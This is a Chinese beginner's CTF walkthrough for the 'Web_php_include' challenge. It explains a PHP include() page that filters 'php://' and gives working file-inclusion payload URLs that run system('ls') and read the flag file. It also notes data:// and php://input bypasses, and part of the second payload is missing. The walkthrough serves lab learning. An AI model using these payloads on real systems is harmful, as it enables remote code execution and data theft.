攻防世界-Web_php_include

攻防世界-Web_php_include

适合新手看,自己的学习记录
拿到题目,是一段代码分析代码:


show_source(__FILE__);  //show_source(__FILE__)为高亮函数,使用show_source(__)会将整个文件都显示出来。
echo $_GET['hello'];  //输出以get提交的hello函数后面的值*
$page=$_GET['page'];  //将以get提交page的参数存入到$page中
while (strstr($page, "php://")) {
    $page=str_replace("php://", "", $page);
}
//strstr()函数是判断 ‘php://’ 是否在 $page中,
//str_replace() 将$page中的'php://' 替换为“”
include($page);
?>

分析代码
可知用了include ()函数,为文件包含的题目,且过滤了php://

payload 1:

http://192.168.100.161:50281/?page=http://127.0.0.1/index.php/?hello=%3C?system(%22ls%22);?%3E
http://192.168.100.161:50281/?page=http://127.0.0.1/index.php/?hello=%3C?show_source(%22fl4gisisish3r3.php%22);?%3E

原理:利用文件包含将page后面的参数全部当做php来执行,此时该文件应该在本地服务器且为index.php。又因为存在echo $_GET[‘hello’];以get方法接受hello,并且又因为文件包含将hello后面的值当做代码带执行,最后就可以执行system()函数,调用系统命令
ps:php一句话木马原理解析(大佬文章写得很好,不懂的可以看下)

https://blog.csdn.net/weixin_39190897/article/details/86772765?utm_medium=distribute.pc_relevant.none-task-blog-BlogCommendFromBaidu-1&depth_1-utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromBaidu-1

payload 2:

http://124.126.19.106:37960/?page=data://text/plain,
?page=data://text/plain,

过滤了php://,可以使用其他伪协议data://text/plain,“加想要执行代码代码”,**echo $_SERVER[‘DOCUMENT_ROOT’]**输出网站根目录
**print_r(scandir(/var/www));?>**输出网站根目录文件
最后利用 file_get_contents读取文件
其中file_get_contents读取文件没有写全,可以去看攻防世界write up
``

利用Php:\\input 绕过
攻防世界-Web_php_include_第1张图片

你可能感兴趣的:(攻防世界)